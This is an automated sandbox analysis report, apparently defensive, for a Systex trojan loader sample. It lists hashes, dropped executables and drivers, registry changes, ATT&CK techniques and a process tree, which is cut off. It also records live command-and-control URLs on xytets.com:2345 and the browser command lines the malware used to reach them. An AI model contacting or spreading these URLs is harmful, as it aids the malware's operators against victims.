systex | 456d0002c2bdf135c4b1b97e7c8e4559f3f076722f566ac2e131a8ccf68ca0bc

Analysis

max time kernel
149s
max time network
145s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
14/07/2026, 00:40

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe
Size 230KB
Sample260714-a1pgwsdx2x
SHA256 456d0002c2bdf135c4b1b97e7c8e4559f3f076722f566ac2e131a8ccf68ca0bc
MD5 bf3c61fda45663a2e06e1d6adb238155
SHA1 600367eb53136af3bdccdc4a68e11b10fa5e8e24
SHA512 16beff628e86284ab8d7121e43e2dd53df0d750ece6629d1aef30accaa83c77cbc986af7528ba1d8f2f3117e3e995e26a88a112a91270fdb140dbb7849552358
SSDEEP 3072:2lJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI96:6ghLQ0sQmpcF8BzXfwVfAI
TLSH
T158344A1272808071E7550B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

adware discovery systex spyware trojan

Malware Config

Extracted

Family

systex

http://xytets.com:2345/t.asp?os=wangba8102
http://xytets.com:2345/ll/out.txt
http://xytets.com:2345/t.asp?os=home8102

Signatures

Family: Systex
Systex is a trojan loader written in C++.
trojan systex

Executes dropped EXE 64 IoCs

pid	Process
1952	CP.exe
1016	jdbvtoidbv.exe
4144	CP.exe
960	CP.exe
1056	i_jdbvtoidbv.exe
5696	nigaysqlid.sys
4748	CP.exe
2364	sqnidvsnki.exe
2548	CP.exe
5164	CP.exe
2800	i_sqnidvsnki.exe
5476	icavsnlfdx.sys
4168	CP.exe
1112	vsnkfdxvpn.exe
3644	CP.exe
3136	CP.exe
5280	i_vsnkfdxvpn.exe
3492	ausnkfcxvp.sys
4764	CP.exe
2500	pnhfaxsqki.exe
1764	CP.exe
4828	CP.exe
3656	i_pnhfaxsqki.exe
5852	ecausmkhca.sys
6064	CP.exe
4060	xupmkhcaus.exe
5632	CP.exe
4456	CP.exe
800	i_xupmkhcaus.exe
5316	xrpkhcausm.sys
4960	CP.exe
724	bztrmjecwu.exe
4268	CP.exe
4216	CP.exe
1160	i_bztrmjecwu.exe
5944	wrpjhbztrm.sys
5692	CP.exe
3200	mgezwuomje.exe
1680	CP.exe
2472	CP.exe
5020	i_mgezwuomje.exe
4104	ztrljgbztr.sys
3916	CP.exe
5792	bztrljebwu.exe
5128	CP.exe
3276	CP.exe
5360	i_bztrljebwu.exe
2712	ywqolgeywq.sys
432	CP.exe
2844	tqligdbvto.exe
3768	CP.exe
1052	CP.exe
1900	i_tqligdbvto.exe
5856	bytqligdyw.sys
5264	CP.exe
5420	tnlidbvtnl.exe
2384	CP.exe
2764	CP.exe
3404	i_tnlidbvtnl.exe
1748	lidaysqlfd.sys
4252	CP.exe
5776	ifdxvqnlid.exe
4260	CP.exe
1724	CP.exe

Drops file in Windows directory 5 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2268_1893878163\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2268_1893878163\nav_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2268_1959245264\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2268_1738446734\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2268_1738446734\protocols.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 42 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zurmkecwup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jdaytqljdb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_bztrmjecwu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ifdxvqnlid.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ywtrljdbvt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nlfdavpnic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sqnidvsnki.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xupmkhcaus.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_mgezwuomje.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_nkfaxsqkic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_sqnidvsnki.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vsnkfdxvpn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_xupmkhcaus.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bztrljebwu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_tqligdbvto.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	upnhfzxspk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ywtrljdbvt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jdaytqljdb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tnlidbvtnl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rmjhczurmk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_zurmkecwup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ywuomjhbzt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nlfdyvtqki.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_nlfdavpnic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CP.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jdbvtoidbv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_pnhfaxsqki.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bztrmjecwu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mgezwuomje.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_tnlidbvtnl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ifdxvqnlid.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ywuomjhbzt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rmjhczurmk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jdbvtoidbv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_vsnkfdxvpn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_bztrljebwu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tqligdbvto.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nkfaxsqkic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_upnhfzxspk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_nlfdyvtqki.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pnhfaxsqki.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2600	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Gathers network information 2 TTPs 20 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
200	ipconfig.exe
5880	ipconfig.exe
5136	ipconfig.exe
1716	ipconfig.exe
1748	ipconfig.exe
4904	ipconfig.exe
5644	ipconfig.exe
3656	ipconfig.exe
6120	ipconfig.exe
4640	ipconfig.exe
4492	ipconfig.exe
5884	ipconfig.exe
3188	ipconfig.exe
4732	ipconfig.exe
6120	ipconfig.exe
2332	ipconfig.exe
6132	ipconfig.exe
5432	ipconfig.exe
1736	ipconfig.exe
200	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 6 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134284632639050243"	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-3797332335-34111092-3597280141-1000\{6584039D-83B3-4F12-9E74-37C6BF2A8621}	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
704	2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe
704	2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe
704	2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe
704	2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe
704	2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe
704	2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe
704	2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe
704	2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe
704	2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe
704	2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe
704	2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe
704	2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe
704	2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe
704	2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe
704	2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe
704	2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe
704	2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe
704	2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe
704	2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe
704	2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe
704	2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe
704	2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe
704	2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe
704	2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe
704	2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe
704	2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe
704	2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe
704	2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe
704	2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe
704	2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe
704	2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe
704	2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe
704	2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe
704	2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe
704	2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe
704	2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe
704	2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe
704	2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe
704	2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe
704	2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe
704	2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe
704	2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe
704	2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe
704	2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe
704	2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe
704	2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe
704	2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe
704	2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe
704	2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe
704	2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe
704	2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe
704	2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe
704	2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe
704	2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe
704	2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe
704	2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe
1016	jdbvtoidbv.exe
1016	jdbvtoidbv.exe
1016	jdbvtoidbv.exe
1016	jdbvtoidbv.exe
1016	jdbvtoidbv.exe
1016	jdbvtoidbv.exe
1016	jdbvtoidbv.exe
1016	jdbvtoidbv.exe

Suspicious behavior: LoadsDriver 19 IoCs

pid	Process
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 10 IoCs

pid	Process
2268	msedge.exe
2268	msedge.exe
2268	msedge.exe
2268	msedge.exe
2268	msedge.exe
2268	msedge.exe
2268	msedge.exe
2268	msedge.exe
2268	msedge.exe
2268	msedge.exe

Suspicious use of AdjustPrivilegeToken 20 IoCs

description	pid	Process
Token: SeDebugPrivilege	1056	i_jdbvtoidbv.exe
Token: SeDebugPrivilege	2800	i_sqnidvsnki.exe
Token: SeDebugPrivilege	5280	i_vsnkfdxvpn.exe
Token: SeDebugPrivilege	3656	i_pnhfaxsqki.exe
Token: SeDebugPrivilege	800	i_xupmkhcaus.exe
Token: SeDebugPrivilege	1160	i_bztrmjecwu.exe
Token: SeDebugPrivilege	5020	i_mgezwuomje.exe
Token: SeDebugPrivilege	5360	i_bztrljebwu.exe
Token: SeDebugPrivilege	1900	i_tqligdbvto.exe
Token: SeDebugPrivilege	3404	i_tnlidbvtnl.exe
Token: SeDebugPrivilege	1548	i_ifdxvqnlid.exe
Token: SeDebugPrivilege	1684	i_nkfaxsqkic.exe
Token: SeDebugPrivilege	4424	i_upnhfzxspk.exe
Token: SeDebugPrivilege	3512	i_rmjhczurmk.exe
Token: SeDebugPrivilege	1280	i_zurmkecwup.exe
Token: SeDebugPrivilege	2004	i_ywuomjhbzt.exe
Token: SeDebugPrivilege	3804	i_ywtrljdbvt.exe
Token: SeDebugPrivilege	4436	i_jdaytqljdb.exe
Token: SeDebugPrivilege	1280	i_nlfdyvtqki.exe
Token: SeDebugPrivilege	2004	i_nlfdavpnic.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2268	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 704 wrote to memory of 5660	704	2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe	87
PID 704 wrote to memory of 4792	704	2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe	88
PID 5660 wrote to memory of 2268	5660	iexplore.exe	89
PID 4792 wrote to memory of 124	4792	iexplore.exe	90
PID 2268 wrote to memory of 4324	2268	msedge.exe	91
PID 2268 wrote to memory of 2600	2268	msedge.exe	92
PID 2268 wrote to memory of 572	2268	msedge.exe	93
PID 2268 wrote to memory of 572	2268	msedge.exe	93
PID 2268 wrote to memory of 572	2268	msedge.exe	93
PID 2268 wrote to memory of 1144	2268	msedge.exe	94
PID 2268 wrote to memory of 1144	2268	msedge.exe	94
PID 2268 wrote to memory of 5092	2268	msedge.exe	96
PID 2268 wrote to memory of 5092	2268	msedge.exe	96
PID 2268 wrote to memory of 5092	2268	msedge.exe	96
PID 2268 wrote to memory of 2924	2268	msedge.exe	97
PID 2268 wrote to memory of 2924	2268	msedge.exe	97
PID 2268 wrote to memory of 2924	2268	msedge.exe	97
PID 2268 wrote to memory of 4336	2268	msedge.exe	98
PID 2268 wrote to memory of 4336	2268	msedge.exe	98
PID 2268 wrote to memory of 4336	2268	msedge.exe	98
PID 2268 wrote to memory of 5676	2268	msedge.exe	99
PID 2268 wrote to memory of 5676	2268	msedge.exe	99
PID 2268 wrote to memory of 5676	2268	msedge.exe	99
PID 2268 wrote to memory of 3932	2268	msedge.exe	100
PID 2268 wrote to memory of 3932	2268	msedge.exe	100
PID 2268 wrote to memory of 3932	2268	msedge.exe	100
PID 2268 wrote to memory of 2328	2268	msedge.exe	101
PID 2268 wrote to memory of 2328	2268	msedge.exe	101
PID 704 wrote to memory of 1952	704	2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe	103
PID 1016 wrote to memory of 4144	1016	jdbvtoidbv.exe	106
PID 2268 wrote to memory of 4040	2268	msedge.exe	109
PID 2268 wrote to memory of 716	2268	msedge.exe	110
PID 2268 wrote to memory of 4040	2268	msedge.exe	109
PID 2268 wrote to memory of 716	2268	msedge.exe	110
PID 2268 wrote to memory of 2824	2268	msedge.exe	112
PID 2268 wrote to memory of 5848	2268	msedge.exe	113
PID 2268 wrote to memory of 5848	2268	msedge.exe	113
PID 2268 wrote to memory of 5316	2268	msedge.exe	114
PID 2268 wrote to memory of 5316	2268	msedge.exe	114
PID 704 wrote to memory of 960	704	2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe	117
PID 704 wrote to memory of 4748	704	2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe	121
PID 2364 wrote to memory of 2548	2364	sqnidvsnki.exe	123
PID 704 wrote to memory of 5164	704	2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe	126
PID 704 wrote to memory of 4168	704	2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe	130
PID 1112 wrote to memory of 3644	1112	vsnkfdxvpn.exe	132
PID 704 wrote to memory of 3136	704	2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe	135
PID 2268 wrote to memory of 2904	2268	msedge.exe	137
PID 2268 wrote to memory of 2904	2268	msedge.exe	137
PID 2268 wrote to memory of 2904	2268	msedge.exe	137
PID 2268 wrote to memory of 460	2268	msedge.exe	140
PID 2268 wrote to memory of 460	2268	msedge.exe	140
PID 2268 wrote to memory of 460	2268	msedge.exe	140
PID 704 wrote to memory of 4764	704	2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe	141
PID 2500 wrote to memory of 1764	2500	pnhfaxsqki.exe	143
PID 704 wrote to memory of 4828	704	2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe	147
PID 2268 wrote to memory of 2328	2268	msedge.exe	149
PID 2268 wrote to memory of 2516	2268	msedge.exe	150
PID 2268 wrote to memory of 5792	2268	msedge.exe	151
PID 2268 wrote to memory of 2064	2268	msedge.exe	152
PID 2268 wrote to memory of 2064	2268	msedge.exe	152
PID 2268 wrote to memory of 2064	2268	msedge.exe	152
PID 704 wrote to memory of 6064	704	2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe	155
PID 4060 wrote to memory of 5632	4060	xupmkhcaus.exe	157
PID 704 wrote to memory of 4456	704	2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe	160

C:\Users\Admin\AppData\Local\Temp\2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-13_bf3c61fda45663a2e06e1d6adb238155_elex_redline-stealer_rhadamanthys_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:704
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home8102
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:5660
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home8102"
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:2268
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x318,0x7ffc14c5c188,0x7ffc14c5c194,0x7ffc14c5c1a0
      4⤵
      PID:4324
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2164,i,3679525742121681708,2227075570382741519,524288 --field-trial-handle=2440,i,101427816091268079,8533417625350658899,262144 --variations-seed-version --mojo-platform-channel-handle=2480 /prefetch:11
      4⤵
      System Time Discovery
      PID:2600
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1976,i,7142133871096607032,7001212274949043498,262144 --field-trial-handle=2440,i,101427816091268079,8533417625350658899,262144 --variations-seed-version --mojo-platform-channel-handle=2420 /prefetch:2
      4⤵
      PID:572
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2584,i,8230904370816241741,229534577859453307,524288 --field-trial-handle=2440,i,101427816091268079,8533417625350658899,262144 --variations-seed-version --mojo-platform-channel-handle=2724 /prefetch:13
      4⤵
      PID:1144
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3588,i,1659534533151466929,8889004525656495529,2097152 --field-trial-handle=2440,i,101427816091268079,8533417625350658899,262144 --variations-seed-version --mojo-platform-channel-handle=3604 /prefetch:1
      4⤵
      PID:5092
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
